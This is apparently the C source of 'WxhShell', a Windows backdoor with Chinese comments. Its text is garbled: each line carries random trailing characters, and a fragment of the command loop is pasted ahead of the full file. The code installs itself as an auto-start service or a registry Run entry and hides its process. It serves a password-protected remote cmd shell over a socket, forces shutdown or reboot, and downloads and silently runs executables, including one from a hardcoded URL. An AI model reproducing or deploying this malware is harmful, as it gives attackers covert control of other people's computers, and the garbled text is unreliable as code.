  // 关机 H^jFvAI,8  
  case 'd': { (s?`*i:2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EZvB#cuL-  
    if(Boot(SHUTDOWN)) ] iKFEd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BKoc;20;  
    else { 1FfdW>ay*  
    closesocket(wsh); $V"NB`T  
    ExitThread(0); qX'w}nJ}H}  
    } TmS;ybsG  
    break; aQax85  
    } 7mulNq  
  // 获取shell zG z^T  
  case 's': { :SxOQ(n  
    CmdShell(wsh); a/@<KnT  
    closesocket(wsh); r4Ygy/%  
    ExitThread(0); ZdQm& ?  
    break; \'( @{  
  } 5ug?'TOj'  
  // 退出 Q(lj &!?1k  
  case 'x': { |_l\.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); } g  WSV  
    CloseIt(wsh); U\S%Jq*  
    break; uM0!,~&9|  
    } \jn[kQ+pJ  
  // 离开 <j1l&H|ux,  
  case 'q': { a,Gd\.D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gi`K^L=C  
    closesocket(wsh); s:Us*i=H,  
    WSACleanup(); yjvH)t/!.  
    exit(1); Hfer\+RX  
    break; ^G63GYh]y  
        } .%+`e  
  } xG<H${ k;  
  } fShf4G_w\  
')#E,Y%Hq  
  // 提示信息 dfB#+wh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T:0X-U  
} 2G"mm (   
  } gnbs^K w  
U*8;ZXi  
  return; ? WWnt^  
} Kq/W-VyGh  
'e-Nt&;  
// shell模块句柄 mwFI89J'  
int CmdShell(SOCKET sock) "Kk3#  
{ 8F0+\40  
STARTUPINFO si; fk!wq. a  
ZeroMemory(&si,sizeof(si)); 8VvoPlo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :oF\?e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yWIM,2x}  
PROCESS_INFORMATION ProcessInfo; 8WWRKP1V  
char cmdline[]="cmd"; g~d}?B\<@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Egt;Bj#%  
  return 0; `gqBJi  
} 9vL`|`Vau  
G8`q-B}q  
// 自身启动模式 LGT\1u  
int StartFromService(void) e , zR  
{ <FH3 ePz  
typedef struct bG +p  
{ '#<?QE!d2  
  DWORD ExitStatus; x]%e_  
  DWORD PebBaseAddress; 84P^7[YX>  
  DWORD AffinityMask; h$ M+Yo+  
  DWORD BasePriority; "}D uAs  
  ULONG UniqueProcessId; JGIN<J85e  
  ULONG InheritedFromUniqueProcessId; ~\hA-l36  
}   PROCESS_BASIC_INFORMATION; I/9ZUxQCyG  
t~p9iGX<  
PROCNTQSIP NtQueryInformationProcess; zW%-Z6%D  
!m pRLBH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D8_m_M| P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'j$iSW&  
?n/:1LN,  
  HANDLE             hProcess; h 88iZK  
  PROCESS_BASIC_INFORMATION pbi; f(DGC2R <  
A <iF37.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e =& abu  
  if(NULL == hInst ) return 0; kgK7 T  
hC}A%_S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");  DVD}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~!]FF}6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :<%K6?'@^  
!.L%kw7z  
  if (!NtQueryInformationProcess) return 0; [7]p\' j  
|LKhT4rE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .CI]8O"3y  
  if(!hProcess) return 0; ~=%eOoZP;c  
{a_= 4a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z>k6T4(  
H7"I+qE-G  
  CloseHandle(hProcess); _h_;nS.Y  
{i^ ?XdM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y VQ qz  
if(hProcess==NULL) return 0; `a:@[0r0U  
Y,WcHE  
HMODULE hMod; iUA2/ A  
char procName[255]; >;o^qi_$  
unsigned long cbNeeded; *P:`{ZV7=W  
[x!T<jJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,{itnKJC  
.)})8csl.d  
  CloseHandle(hProcess); j]J2,J  
qfppJ8L  
if(strstr(procName,"services")) return 1; // 以服务启动 s;}';#  
(T n*;Xjq  
  return 0; // 注册表启动 9{i6g+  
} bEbO){Fe  
@Sub.z&T{  
// 主模块 G#duZNBdc  
int StartWxhshell(LPSTR lpCmdLine) 4_PMl6qo  
{ 6,_CL M  
  SOCKET wsl; e kI1j%fO  
BOOL val=TRUE; Qo?"hgjlqm  
  int port=0; (0D0G-r:  
  struct sockaddr_in door; *|$s0ga C  
|kV,B_qz  
  if(wscfg.ws_autoins) Install(); (h/v"dV;  
e@k ti@ZJ  
port=atoi(lpCmdLine); AyNl,Xyc4  
%Iv+Y$'3B  
if(port<=0) port=wscfg.ws_port; Xa<siA{  
FlVGi3  
  WSADATA data; I=f1kr pR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g_>)Q  
Ew4DumI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RZ|s[b U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @z dmB~C  
  door.sin_family = AF_INET; z2!NBOv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,a$LT   
  door.sin_port = htons(port); &[S)zR=?  
3z&,>CEX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z i7(lG  
closesocket(wsl); d7Q. 'cyQ  
return 1; "5XD+qi  
} ,n &|+&  
4x8mJ4[H^  
  if(listen(wsl,2) == INVALID_SOCKET) { e[915Q_  
closesocket(wsl); a<!g*UVL0M  
return 1; F8b*Mt}p  
} `mw@"  
  Wxhshell(wsl); W@"M/<r@/  
  WSACleanup(); yuFuYo&[?v  
1P8$z:|~  
return 0; mg'-]>$$]  
3zWY%(8t4?  
} _PNU*E%s<  
LdWeI  
// 以NT服务方式启动 /;HytFP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3h 0w8(k;  
{ FD_0FMZ9,  
DWORD   status = 0; 0%F C;v0  
  DWORD   specificError = 0xfffffff; ?\$77k  
{!^HG+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F\-qXSA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?3KI}'}EM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jGI!}4_  
  serviceStatus.dwWin32ExitCode     = 0; Wf: AMxDm  
  serviceStatus.dwServiceSpecificExitCode = 0; L$@RSKYp  
  serviceStatus.dwCheckPoint       = 0; J5J3%6I  
  serviceStatus.dwWaitHint       = 0; B+zq!+ HJ  
* +A!12s@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &??(EA3  
  if (hServiceStatusHandle==0) return; =\X<UA}  
oH6(Lq'q  
status = GetLastError(); n6Q 3X  
  if (status!=NO_ERROR) lt,x(2  
{ &e,xN;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 'kW`62AX  
    serviceStatus.dwCheckPoint       = 0; zKfb  
    serviceStatus.dwWaitHint       = 0; rQisk8 %  
    serviceStatus.dwWin32ExitCode     = status; '|Q=J)  
    serviceStatus.dwServiceSpecificExitCode = specificError; d UjdQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Zpu>T2Tp  
    return; A.WJ#1i}E  
  } 1grrb&K  
=N7N=xY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f+<-Jc  
  serviceStatus.dwCheckPoint       = 0; 1RRvNZW  
  serviceStatus.dwWaitHint       = 0; [>"qOFCr#:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #B+2qD>E  
} &k1Ez  
I &{dan2  
// 处理NT服务事件,比如:启动、停止 ZP%^.wxC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OY"{XnPZ  
{ /jj}.X7yH  
switch(fdwControl) [&+wW  
{ x( mY$l,il  
case SERVICE_CONTROL_STOP: krz@1[w-j  
  serviceStatus.dwWin32ExitCode = 0; hCr7%`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; }s{zy:1O  
  serviceStatus.dwCheckPoint   = 0; qx_+mCZ  
  serviceStatus.dwWaitHint     = 0; z)|56 F7'  
  { r T* :1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); []LNNO],X  
  } *"9b?`E  
  return; ?`FI!3j  
case SERVICE_CONTROL_PAUSE: NRoi` IIj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {'d?vm!r  
  break; deeOtco$LT  
case SERVICE_CONTROL_CONTINUE: W4>8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3$HFHUMQsk  
  break; P?TFX.p7  
case SERVICE_CONTROL_INTERROGATE: "me J n/  
  break; GueqpEd2  
}; I"@5=m5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fWKv3S1dT  
} [eWB vAiW  
uv_*E`pN~  
// 标准应用程序主函数 ~f%gW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^lf;Lc  
{ %f{kT<XHu  
L}:u9$w  
// 获取操作系统版本 6x[gg !;85  
OsIsNt=GetOsVer(); U.wgae].O;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); { Ja#pt  
 d(v )SS  
  // 从命令行安装  NsJUruN  
  if(strpbrk(lpCmdLine,"iI")) Install(); !Rsx)  
zD)2af  
  // 下载执行文件 b,318R8+G  
if(wscfg.ws_downexe) { n$b/@hp$z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) m! p'nP  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1YM04*H  
} GhpH7% s  
/ebYk-c  
if(!OsIsNt) {  Xv:<sX  
// 如果时win9x,隐藏进程并且设置为注册表启动 UTs0=:+,t  
HideProc(); 3s>& h-E  
StartWxhshell(lpCmdLine); r."Dc  
} ~@sx}u  
else +Do7rl  
  if(StartFromService()) ze#LX4b I  
  // 以服务方式启动 z ^a,7}4  
  StartServiceCtrlDispatcher(DispatchTable); Y%wF;I1x  
else >nl *aN  
  // 普通方式启动 !vett4C* K  
  StartWxhshell(lpCmdLine); -{L[Wt{1  
\>I&UFfH)4  
return 0; )cOm\^,  
} 9B*SWWAj  
4H1s"mP<  
b(~NqV!i  
6Ajiz_~U  
=========================================== u4.-AY {  
%C)U F  
bLNQ%=FjO  
o'D6lkf0  
0V`/oaW;  
"t\rjFw  
" 6dg[   
9"<)DS  
#include <stdio.h> <'B`b  
#include <string.h> U'lrdc"Q  
#include <windows.h> tk, H vE  
#include <winsock2.h> 0Y"==g+ >f  
#include <winsvc.h> pK$^@~DE  
#include <urlmon.h> dmE-W S  
W:0@m^r  
#pragma comment (lib, "Ws2_32.lib") Txw,B2e)>  
#pragma comment (lib, "urlmon.lib") Rmd;u g9  
GbNVcP.ocP  
#define MAX_USER   100 // 最大客户端连接数 y< 146   
#define BUF_SOCK   200 // sock buffer 0HG*KW  
#define KEY_BUFF   255 // 输入 buffer e@X~F6nP  
O'5(L9,  
#define REBOOT     0   // 重启 B V Pf8!-  
#define SHUTDOWN   1   // 关机 KQr=;O\T  
P^1rNB  
#define DEF_PORT   5000 // 监听端口 r*,]=M W  
`CHgTkv  
#define REG_LEN     16   // 注册表键长度 GbZA3.J]yl  
#define SVC_LEN     80   // NT服务名长度 lYy0   
]bS\*q0Zf(  
// 从dll定义API nC`=quM9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0>.'w\,87B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )EcF[aO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $'[( DwLS  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kv5D=0r  
$RF"m"  
// wxhshell配置信息 L!e@T'  
struct WSCFG { 78NAcP~6c  
  int ws_port;         // 监听端口 "w_(p|cm=  
  char ws_passstr[REG_LEN]; // 口令 TJO|{Lxm  
  int ws_autoins;       // 安装标记, 1=yes 0=no Gzm[4|nO^  
  char ws_regname[REG_LEN]; // 注册表键名 v_G4:tY  
  char ws_svcname[REG_LEN]; // 服务名 d5WE^H)E.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I#9K/[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =#>P !  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qLPI^g,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lkl#AH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,cbP yg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2poU \|H  
+  ^~n09  
}; iAXx`>}m  
9`vse>,-hg  
// default Wxhshell configuration (T`x-wTl  
struct WSCFG wscfg={DEF_PORT, k"L_0HK  
    "xuhuanlingzhe", SZyPl9.b  
    1, a_Xh(d$  
    "Wxhshell", KXdls(ROP  
    "Wxhshell", 12k)Ek9  
            "WxhShell Service", -pLb%f0?  
    "Wrsky Windows CmdShell Service", 9K%E+_7b  
    "Please Input Your Password: ", P3N f<  
  1, sb8SG_c.  
  "http://www.wrsky.com/wxhshell.exe", Zi|'lHr  
  "Wxhshell.exe" H)(Jjk-O  
    }; xi|iV1A  
E%$FX' 8&  
// 消息定义模块 w#"c5w~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [% 3{mAd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'rd{fe_g!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0 J ANj  
char *msg_ws_ext="\n\rExit."; 'RG`DzuF  
char *msg_ws_end="\n\rQuit."; >0~y "~M  
char *msg_ws_boot="\n\rReboot..."; JbG+ysn  
char *msg_ws_poff="\n\rShutdown..."; 6%:'2;xM  
char *msg_ws_down="\n\rSave to "; %=NqxF>>  
u/hD9g~H7K  
char *msg_ws_err="\n\rErr!"; AoTL )',  
char *msg_ws_ok="\n\rOK!"; 1FY^_dvH  
_u.l|yR  
char ExeFile[MAX_PATH]; ..n-&(c32  
int nUser = 0; iaPY>EP1  
HANDLE handles[MAX_USER]; 6idYz"P %  
int OsIsNt; NEK;'"  ~  
v|n.AGn  
SERVICE_STATUS       serviceStatus; OZ7MpQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U[Z1@2zLx  
#<l ;YT8  
// 函数声明 @n})oAC,  
int Install(void); d)q{s(<;  
int Uninstall(void); b}k`'++2,  
int DownloadFile(char *sURL, SOCKET wsh); ?2.< y_1  
int Boot(int flag); 3pl.<;9r  
void HideProc(void); ^8We}bs-c  
int GetOsVer(void); Z;Tjjws  
int Wxhshell(SOCKET wsl); 4J_18.JHP  
void TalkWithClient(void *cs); h`jtmhoz  
int CmdShell(SOCKET sock); ,wnF]K 2D0  
int StartFromService(void); i\,#Z!  
int StartWxhshell(LPSTR lpCmdLine); <;_X=s`f,  
9/Q5(P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y'Wz*}8pr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 79S=n,O  
CJ%7M`zy  
// 数据结构和表定义 Tw|=;m  
SERVICE_TABLE_ENTRY DispatchTable[] = r)h+pga5^E  
{ Is%-r.i  
{wscfg.ws_svcname, NTServiceMain}, u,/PJg-(!  
{NULL, NULL} Q%KS$nP9  
}; N )&3(A@  
4xg%OH  
// 自我安装 _.\p^ HM  
int Install(void) j >P>MdZtk  
{ @'~v~3 $S  
  char svExeFile[MAX_PATH]; 5qUyOkI  
  HKEY key; c 8E&  
  strcpy(svExeFile,ExeFile); vE&  
?1?m4i  
// 如果是win9x系统,修改注册表设为自启动 -_A0<A.  
if(!OsIsNt) { )<jj O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ue~M .LZb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |?{Zx&yUw  
  RegCloseKey(key); @u$4{sjgf\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /|hKZTZJdN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _H@S(!  
  RegCloseKey(key); $FCLo8/=  
  return 0; Jf4D">h  
    } `"/@LUso  
  } 6Pd;I,k  
} Fe`$mtPu.  
else { Ns&SZO  
"4i(5|whp?  
// 如果是NT以上系统,安装为系统服务 S,qsCnz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C\ 9eR  
if (schSCManager!=0) uiO8F*,!&r  
{ qfG`H#cA<  
  SC_HANDLE schService = CreateService s_p?3bKu  
  ( c1!h;(&  
  schSCManager, FRX'"gIR0  
  wscfg.ws_svcname, ,zz+s[ZH7O  
  wscfg.ws_svcdisp, u9sffX5x[J  
  SERVICE_ALL_ACCESS,  xUzfBn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m$0T"`AP`  
  SERVICE_AUTO_START, 'TezUBRAz  
  SERVICE_ERROR_NORMAL, B!rY\ ?W  
  svExeFile, |Y2u=B  
  NULL, IQY\L@"  
  NULL, p \F*Y,4  
  NULL, :/d#U:I  
  NULL, #L[Atx  
  NULL >*k3D&  
  ); yv]/A<gP+  
  if (schService!=0) @ L?7` VoE  
  { 7$}lkL  
  CloseServiceHandle(schService); EXoT$Wt{$  
  CloseServiceHandle(schSCManager); 53@*GXzE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |*jnJWH4:  
  strcat(svExeFile,wscfg.ws_svcname); ~ b\bpu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,Q2`N{f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .kGg }  
  RegCloseKey(key); #!C/~"Y*`|  
  return 0; ZVk_qA%  
    } /oE@F178  
  } \_CC6J0k  
  CloseServiceHandle(schSCManager); [y64%|m  
} d#Ql>PrY  
} ,7z.%g3+z  
bp;b;f>  
return 1; eBBqF!WDb  
} NKh"x&R  
E<D45C{DP  
// 自我卸载 3|l+&LF!IC  
int Uninstall(void) T" XZ[q  
{ $x#Y\dpS  
  HKEY key; `a98+x?JF  
7_ZfV? .  
if(!OsIsNt) { /vBOf;L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C.Y]PdYyj  
  RegDeleteValue(key,wscfg.ws_regname); @=isN'>]O  
  RegCloseKey(key); Vw<=& w#K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9<G-uF  
  RegDeleteValue(key,wscfg.ws_regname); &0+;E-_  
  RegCloseKey(key); bK<'J=#1  
  return 0; +*mi%)I  
  } N>xs@_"o  
} tNG0ft%a  
} fu"#C}{  
else { q% 2cx@c  
&X }GJLC3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <`+U B<K  
if (schSCManager!=0) /*B-y$WQk  
{ n2Q~fx<6%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CcG{+-= H)  
  if (schService!=0) "+~La{ POc  
  { 'K"V{  
  if(DeleteService(schService)!=0) { -1DQO|q#  
  CloseServiceHandle(schService); {OXKXRCa  
  CloseServiceHandle(schSCManager); M]vc W  
  return 0; .m9s+D]fI  
  } 3#!}W#xv  
  CloseServiceHandle(schService); Akb#1Ww4  
  } #kR8v[Z  
  CloseServiceHandle(schSCManager); ! c4pFQB  
} "6[fqW65  
} 5k)/SAU0  
a;r,*zZ="  
return 1; B>AmH%f/  
} [D=ba=r0X  
j(AN] g:  
// 从指定url下载文件 " ;8H;U`  
int DownloadFile(char *sURL, SOCKET wsh) iOYC1QFi?  
{ mG*[5?=r  
  HRESULT hr; F\^9=}b_i  
char seps[]= "/"; ifHQ2Ug 9  
char *token; #/=s74.b  
char *file; V\5ZRLawP  
char myURL[MAX_PATH]; @A GM=v  
char myFILE[MAX_PATH]; *I:^g  
\Z{6j&;  
strcpy(myURL,sURL); \7 n ;c   
  token=strtok(myURL,seps); 3WHj|ENW  
  while(token!=NULL) x\z* iv  
  { z/dpnGX  
    file=token; (P%{Tab  
  token=strtok(NULL,seps); 7k.=_Tl  
  } @eU;oRVc{  
Oi+9kk e  
GetCurrentDirectory(MAX_PATH,myFILE); dUegHBw_`R  
strcat(myFILE, "\\"); $@QF<?i~  
strcat(myFILE, file); ue"?n2  
  send(wsh,myFILE,strlen(myFILE),0); V+G.TI P  
send(wsh,"...",3,0); nd_+g2x'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \qj4v^\  
  if(hr==S_OK) 5?9K%x'b  
return 0; TmZ sC5  
else |=&[sC  
return 1; ~4IkQ|,  
o/I'Qi$v-  
} 2uujA* ^  
Kx==vq%39  
// 系统电源模块 >c %*:a  
int Boot(int flag) qS1byqq78l  
{ o/??w:'  
  HANDLE hToken; xn|M]E1)  
  TOKEN_PRIVILEGES tkp; "ld4v+o8l  
9ozN$:  
  if(OsIsNt) { F6^Xi"R[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _=!R l#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]06orBV  
    tkp.PrivilegeCount = 1; uJhB>/Og  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $2I^ ;5r[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4BF \- lq~  
if(flag==REBOOT) { L+VqTt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W/e6O??O  
  return 0; \JjZ _R  
} G(joamfM  
else { 'b1k0 9'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) StZ GKY[Q  
  return 0; mu`:@7+Yp  
} P`^3-X/  
  } T)4pLN E  
  else { CNP!v\D  
if(flag==REBOOT) { b`: n i   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t,H=;U#  
  return 0; jMFLd  
} G)5R iRcs  
else { Y]MB/\gj  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d7(g=JK<  
  return 0; uknX py))  
} pe%$(%@v  
} ,cj531.  
'$nm~z,V  
return 1; 5jMI33D  
} JO3"$s|t  
d!>.$|b  
// win9x进程隐藏模块 vNo(`~]c  
void HideProc(void) lJlyfN  
{ <yt|!p-tS  
#7(?B{i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %BBM%Lj  
  if ( hKernel != NULL ) }K F f  
  { Hst]}g' .  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *n]f)Jc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #POVu|Y;h  
    FreeLibrary(hKernel); :[P)t %  
  } 4gKu8G  
WK$d<:"  
return; g+v.rmX  
} $F&m('aB8  
>`{B  
// 获取操作系统版本 4 q-/R  
int GetOsVer(void) yzI`&? P2  
{ kz30! L  
  OSVERSIONINFO winfo; };/;L[,G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k{Ad(S4J&  
  GetVersionEx(&winfo); H<N$z 3k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kfc5ra>&  
  return 1; v^A4%e<8^r  
  else Sao4MkSz[]  
  return 0; (Mzv"FN]  
} $tm%=g^  
@}{lp'8FYi  
// 客户端句柄模块 l4O&*,}l##  
int Wxhshell(SOCKET wsl) U=ek_FO  
{ kMS&"/z  
  SOCKET wsh; M_BG :P5  
  struct sockaddr_in client; O %m\ Q1  
  DWORD myID; "39\@Ow  
AT{rg/oSf  
  while(nUser<MAX_USER) MJ.K,e  
{ nXRT%[o&  
  int nSize=sizeof(client); \5 S^~(iL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ),!1B%  
  if(wsh==INVALID_SOCKET) return 1; Nv[MU@Tv  
L|hoA9/]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m.6O%jD  
if(handles[nUser]==0) UgD|tuz]  
  closesocket(wsh); #OMFv.  
else iY[+BI:  
  nUser++; WgTD O3  
  } Z~S%|{&Br  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o(L8 -F  
{wL30D^  
  return 0; ' pN[H\Ia  
} .91@T.  
.Ld{QPa  
// 关闭 socket $S6%a9m   
void CloseIt(SOCKET wsh) gfr+`4H>v  
{ (/ qOY  
closesocket(wsh); x$L(!ZDh  
nUser--; 2j=i\B  
ExitThread(0); ]_5qME#N  
} " ZYdJHM  
sF4+(9=  
// 客户端请求句柄 U0J_ 3W  
void TalkWithClient(void *cs) 1OI/,y8}  
{ G(;hJ'LT  
WeiDg,]e$b  
  SOCKET wsh=(SOCKET)cs; , RKl  
  char pwd[SVC_LEN]; E;MelK<8(  
  char cmd[KEY_BUFF]; })F.Tjf*  
char chr[1]; fw3P?_4;*  
int i,j; }N0$DqP  
xQ0.2[*5  
  while (nUser < MAX_USER) { e0z(l/UB  
@{q:179w^  
if(wscfg.ws_passstr) { cF V[k'F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +Y! P VMF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CK=TD`$w  
  //ZeroMemory(pwd,KEY_BUFF); UKpc3Jo:~  
      i=0; .+ d.~jHX  
  while(i<SVC_LEN) { E#zLm  
eHl)/='  
  // 设置超时 U_KCN09  
  fd_set FdRead; p}e1!q;N  
  struct timeval TimeOut; J`[v u4  
  FD_ZERO(&FdRead); 2L(\-]%f  
  FD_SET(wsh,&FdRead); 7 .y35y  
  TimeOut.tv_sec=8; sS{!z@\Lf  
  TimeOut.tv_usec=0; M 8NWQ^Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DD fw& y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j;yKL-ycB  
p>=i'~lQ6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v$)ZoM6E  
  pwd=chr[0]; M/a40uK  
  if(chr[0]==0xd || chr[0]==0xa) { 6* 6 |R93  
  pwd=0; w!|jL $5L  
  break; OpD%lRl  
  } l.Q.G<ol  
  i++; @#QaaR;4  
    } `e[>S  
<Toy8-kj  
  // 如果是非法用户,关闭 socket OB4nE}NO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /e;E+   
} wTe 9OFv  
PpLuN12H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8|) $;.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N?s`a;Q[=  
rbl7-xhC7  
while(1) { q}|_]R_y  
O|AY2QH\  
  ZeroMemory(cmd,KEY_BUFF); =&t]R? F  
,<s/K  
      // 自动支持客户端 telnet标准   ( yK@(euG  
  j=0; t2LX@Q"  
  while(j<KEY_BUFF) { I~F]e|Ehqr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ay@/{RZz  
  cmd[j]=chr[0]; 83!{?EPE  
  if(chr[0]==0xa || chr[0]==0xd) { - !QVM\t  
  cmd[j]=0; ;DgQ8"f  
  break; =Cc]ugl7-  
  } EC/=JlL`5  
  j++; gvFs$X*^:  
    } hw({>cH\  
uk9!rE"  
  // 下载文件 7 -S?U~s  
  if(strstr(cmd,"http://")) { +z|@K=d#|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qM18 Ji*  
  if(DownloadFile(cmd,wsh)) #b9V&/ln  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;_ S D W  
  else yu}yON  
